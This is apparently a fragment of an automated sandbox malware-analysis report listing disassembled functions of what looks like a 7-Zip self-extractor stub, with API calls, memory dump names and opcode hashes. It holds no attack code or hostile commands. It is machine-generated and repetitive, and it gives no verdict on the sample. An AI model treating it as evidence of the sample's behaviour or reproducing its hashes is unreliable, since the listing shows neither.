                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$EnvironmentExpandStrings$??2@
                                                                                                                                                                                                                                                                                    • String ID: SetEnvironment
                                                                                                                                                                                                                                                                                    • API String ID: 612612615-360490078
                                                                                                                                                                                                                                                                                    • Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
                                                                                                                                                                                                                                                                                    • Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99
                                                                                                                                                                                                                                                                                    Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$lstrlen
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2031685711-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
                                                                                                                                                                                                                                                                                    • Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99
                                                                                                                                                                                                                                                                                    Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
                                                                                                                                                                                                                                                                                      • Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000007), ref: 0040883F
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000007), ref: 00408850
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: MetricsSystem$??3@
                                                                                                                                                                                                                                                                                    • String ID: 100%%
                                                                                                                                                                                                                                                                                    • API String ID: 2562992111-568723177
                                                                                                                                                                                                                                                                                    • Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
                                                                                                                                                                                                                                                                                    • Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99
                                                                                                                                                                                                                                                                                    Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
                                                                                                                                                                                                                                                                                    • _wcsnicmp.MSVCRT ref: 00404527
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: lstrlen$_wcsnicmp
                                                                                                                                                                                                                                                                                    • String ID: ExecuteFile
                                                                                                                                                                                                                                                                                    • API String ID: 2823567412-323923146
                                                                                                                                                                                                                                                                                    • Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
                                                                                                                                                                                                                                                                                    • Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6
                                                                                                                                                                                                                                                                                    Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004026C5
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                                                                                    • String ID: Wow64RevertWow64FsRedirection$kernel32
                                                                                                                                                                                                                                                                                    • API String ID: 2574300362-3900151262
                                                                                                                                                                                                                                                                                    • Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
                                                                                                                                                                                                                                                                                    • Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E
                                                                                                                                                                                                                                                                                    Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004026F7
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                                                                                    • String ID: Wow64DisableWow64FsRedirection$kernel32
                                                                                                                                                                                                                                                                                    • API String ID: 2574300362-736604160
                                                                                                                                                                                                                                                                                    • Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
                                                                                                                                                                                                                                                                                    • Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F
                                                                                                                                                                                                                                                                                    Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$ByteCharMultiWide
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1731127917-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
                                                                                                                                                                                                                                                                                    • Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668
                                                                                                                                                                                                                                                                                    Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
                                                                                                                                                                                                                                                                                    • GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00404919
                                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNEL32(?), ref: 00404934
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: PathTemp$AttributesFilewsprintf
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1746483863-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
                                                                                                                                                                                                                                                                                    • Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98
                                                                                                                                                                                                                                                                                    Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
                                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(00000000,0097CAC0,00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(0097CAC0,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@??3@ExceptionThrowmemcpy
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3462485524-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
                                                                                                                                                                                                                                                                                    • Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758
                                                                                                                                                                                                                                                                                    Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961
                                                                                                                                                                                                                                                                                    • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
                                                                                                                                                                                                                                                                                    • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B7), ref: 00409222
                                                                                                                                                                                                                                                                                    • SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
                                                                                                                                                                                                                                                                                      • Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
                                                                                                                                                                                                                                                                                      • Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3043669009-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
                                                                                                                                                                                                                                                                                    • Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59
                                                                                                                                                                                                                                                                                    Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000031), ref: 0040784B
                                                                                                                                                                                                                                                                                    • CreateFontIndirectW.GDI32(?), ref: 0040785A
                                                                                                                                                                                                                                                                                    • DeleteObject.GDI32(00000000), ref: 00407889
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1900162674-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
                                                                                                                                                                                                                                                                                    • Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55
                                                                                                                                                                                                                                                                                    Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
